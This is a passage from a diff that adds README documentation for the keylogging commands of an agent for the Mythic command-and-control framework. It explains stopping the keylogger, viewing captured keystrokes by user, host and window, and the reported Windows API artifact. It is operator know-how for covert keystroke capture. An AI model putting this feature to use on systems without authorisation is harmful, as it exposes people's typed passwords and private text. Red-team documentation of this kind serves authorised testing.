- **Not Running**: If keylogger is not running, `keylog_stop` returns success (no-op)
|
||||||
|
- **Thread Cleanup**: Thread is properly terminated and handles are closed when stopping
|
||||||
|
|
||||||
|
### Viewing Keylogs
|
||||||
|
|
||||||
|
1. Navigate to your callback in the Mythic UI
|
||||||
|
2. Click the **KEYLOGS** tab in the top navigation
|
||||||
|
3. View all captured keystrokes grouped by:
|
||||||
|
- Task and callback
|
||||||
|
- User and host
|
||||||
|
- Window title
|
||||||
|
- Timestamp
|
||||||
|
4. Use "View Window Together" to see all keystrokes from a specific window session
|
||||||
|
5. Filter keylogs by user, window, or time range
|
||||||
|
|
||||||
|
### Artifact Support
|
||||||
|
|
||||||
|
The `keylog_start` command automatically reports an **API Call** artifact:
|
||||||
|
- **Type**: API Call
|
||||||
|
- **Value**: "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA"
|
||||||
|
- **Purpose**: Tracks that keylogging APIs were used on the system
|
||||||
|
|
||||||
|
This artifact appears in Mythic's Artifacts page when keylogging is started.
|
||||||
|
|
||||||
|
For more information, see the [Mythic Keylog documentation](https://docs.mythic-c2.net/customizing/hooking-features/keylog).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 🔧 Development
|
## 🔧 Development
|
||||||
|
|
||||||
### Project Structure
|
### Project Structure
|
||||||
|
|||||||
Reference in New Issue
Block a user